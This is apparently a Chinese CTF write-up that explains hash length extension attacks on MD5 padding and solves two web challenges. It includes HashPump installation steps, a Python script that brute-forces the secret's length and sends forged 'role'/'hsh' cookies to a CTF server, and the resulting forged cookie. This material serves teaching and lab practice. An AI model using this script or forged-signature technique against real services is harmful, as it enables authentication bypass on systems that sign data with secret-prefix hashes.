感觉挺有用就加了进来
原理
首先要讲hash算法(例如md5),但是也不需要太了解,只需要知道以下几点就可以了
1 2 3
| 1.MD5加密过程中512比特(64字节)为一组,属于分组加密,而且在运算的过程中,将512比特分为32bit*16块,分块运算 2.我们关键利用的是MD5的填充,对加密的字符串进行填充(比特第一位为1其余比特为0),使之(二进制)补到448模512同余,即长度为512的倍数减64,最后的64位在补充为原来字符串的长度,这样刚好补满512位的倍数,如果当前明文正好是512bit倍数则再加上一个512bit的一组。 3.MD5不管怎么加密,每一块加密得到的密文作为下一次加密的初始向量IV,这一点很关键!!!
|
有点绕,用个例子讲一下怎么填充
比如说计算字符串”admin”
十六进制0x64676d696e
这里与448模512不同余,补位后数据如下
1
| 0x61646d696e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000
|
注意!下图中8是怎么来的!比特第一位补位1,其余为0,那么admin后面(二进制补位1000…000)
注意!下图中框框中是啥!是全部要加密明文的长度!这里长度不包含填充的长度!而且注意是比特数!而且我们需要注意一点
MD5中存储的都是小端方式!
MD5中存储的都是小端方式!
MD5中存储的都是小端方式!
重要的事情说三遍,举个例子:假如我们这一块值为0x12345678
那么在MD5运算时候存储的顺序是 0x78563412
这也是之所以后8字节为长度,而第1字节先有数据的原因
攻击原理
主要看刚才讲的第三点
这样的话,假设secret只知道位数的话,将其填充成secret1,其中n=hash(secret)=hash(secret1)已知,则hash(secret1+任意数据)都可以求出,因为(secret1+任意数据)会被分为很多组,第一组为secret1,则第一组生成的向量即为n,直接用于接下来的运算即可。所以hash扩展长度攻击我理解就是,已知secret长度和hash值,就可以求出(secret+任意数据)的hash值。
如果一个应用程序是这样操作的:
1 2 3
| 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名) 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
|
这个时候,该应用程序就易受长度扩展攻击,攻击者可以构造出{secret || data || attacker_controlled_data}的哈希值。
再比如,一个网站在用户下载文件之前需验证下载权限。这个网站会用如下的算法产生一个关于文件名的MAC:
1 2 3
| def create_mac(key, fileName) return Digest::SHA1.hexdigest(key + fileName) End
|
最终产生的URL会是这样:
1
| http://example.com/download?file=report.pdf&mac=563162c9c71a17367d44c165b84b85ab59d036f9
|
用户发起请求要下载一个文件时,将会执行下面这个函数:
1 2 3 4 5 6 7 8
| def verify_mac(key, fileName, userMac) validMac = create_mac(key, filename) if (validMac == userMac) do initiateDownload() else displayError() end End
|
这样,只有当用户没有擅自更改文件名时服务器才会执行initiateDownload()开始下载。实际上,这种生成MAC的方式,给攻击者在文件名后添加自定义字串留下可乘之机。
已知salt长度
题目:http://www.shiyanbar.com/ctf/1848
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if (!empty($_COOKIE["getmein"])) { if (urldecode($username) === "admin" && urldecode($password) != "admin") { if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) { echo "Congratulations! You are a registered user.\n"; die ("The flag is ". $flag); } else { die ("Your cookies don't match up! STOP HACKING THIS SITE."); } } else { die ("You are not an admin! LEAVE."); } }
|
1
| setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
|
其中已知sample-hash
,即hash(secret+”adminadmin”),这时候构造username=”admin”,password=”admin/x80/00…../00gg”,其中使得secret+username+password恰好分为两组,第一组和secret+adminadmin一样(因为前面求hash(secret+”adminadmin”)时需要填充成hash(secret+”adminadmin”+”/x80/00…”)),第二组为gg,这时候求hash(secret+username+password)等价于求hash(gg),但是初始向量变成第一组的hash值(已知),然后构造cookie中的getmein提交即可
解法:使用hashpump解,其中安装如下:
- HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
(至于别的文章提到了MD4、RIPEMD-160、SHA-0、WHIRLPOOL等也可以构造长度扩展攻击,等以后再研究。)1 2 3 4 5
| git clone https://github.com/bwall/HashPump apt-get install g++ libssl-dev cd HashPump make make install
|
至于想在python里实现hashpump,可以使用hashpumpy这个插件:
至于想在python里实现hashpump,可以使用hashpumpy这个插件:
1 2 3
| python>>> import hashpumpy>>> help(hashpumpy.hashpump)
|
第一行是得到的hash值,即hash(secret+’adminadmin’)
第二行是已知数据,即’adminadmin’
第三行是总长度
第四行是要添加的数据(这个随意)
将得到的第一行设置到cookie的getmein中,第二行为username+password的值
未知salt长度
题目链接:web.jarvisoj.com:32778/index.php
web题第一操作,先扫一波目录,最近换了个新工具https://github.com/ring04h/weakfilescan
看到有源码泄露,访问index.php~下载下来源码,因为下载下来的是一串乱七八糟的,需要去恢复一下。
在linux下用file
看一下文件类型,发现是swap文件的话加上后缀什么的,然后
恢复一下就好了。源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <!DOCTYPE html> <html> <head> <title>Web 350</title> <style type="text/css"> body { background:gray; text-align:center; } </style> </head> <body> <?php $auth = false; $role = "guest"; $salt = if (isset($_COOKIE["role"])) { $role = unserialize($_COOKIE["role"]); $hsh = $_COOKIE["hsh"]; if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) { $auth = true; } else { $auth = false; } } else { $s = serialize($role); setcookie('role',$s); $hsh = md5($salt.strrev($s)); setcookie('hsh',$hsh); } if ($auth) { echo "<h3>Welcome Admin. Your flag is } else { echo "<h3>Only Admin can see the flag!!</h3>"; } ?> </body> </html>
|
发现是hash长度扩展攻击,唯一不同的是不知道secret的长度
首先观察服务器端给了什么信息,发现服务器端返回了$role='s:5:"guest";'
以及$hsh=md5(salt+strrev($role))
然后需要我们求的是md5(salt+strrev(admin))
先看代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import hashpumpy import urllib import requests for i in range(1,30): m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i) print i url='http://120.26.131.152:32778/' digest=m[0] message=urllib.quote(urllib.unquote(m[1])[::-1]) cookie='role='+message+'; hsh='+digest headers={ 'cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate' } print headers re=requests.get(url=url,headers=headers) print re.text if "Welcome" in re.text: print re; break
|
代码是在linux下运行的,因为使用了hashpumpy
库,这个库我在win下安装不成功..使用说明如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| >>> import hashpumpy >>> help(hashpumpy.hashpump) Help on built-in function hashpump in module hashpumpy: hashpump(...) hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message) Arguments: hexdigest(str): Hex-encoded result of hashing key + original_data. original_data(str): Known data used to get the hash result hexdigest. data_to_add(str): Data to append key_length(int): Length of unknown data prepended to the hash Returns: A tuple containing the new hex digest and the new message. >>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY')) ('e3c4a05f', 'original_datadata_to_add')
|
所以代码中,$hsh的值中已知的部分为strrev(serialize('guest'))
,即';\"tseug\":5:s','
,而需要填充的部分为';\"nimda\":5:s'
,长度则用爆破。
此时构造出来的cookie为
1
| role=s%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B; hsh=fcdc3840332555511c4e4323f6decb07
|
这样的cookie传到服务端,首先根据源码,会将role
反序列化之后比较是否等于admin
,这时候会发现php反序列化也存在%00截断,所以第一个判断过了
接下来会判断$hsh
是否等于md5($salt+strrev($role))
,而md5($salt+strrev($role))
等于md5($salt+strrev(s:5:"admin";%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest";))
等于md5($salt+(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00;\"nimda\":5:s))
,而其中md5($salt+(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00)
等于已知的3a4727d57463f122833d9e732f94e4e0
,而这个值也将作为下一个分组的输入,这个和hashpump的运算结果是一样的,所以运行一下代码: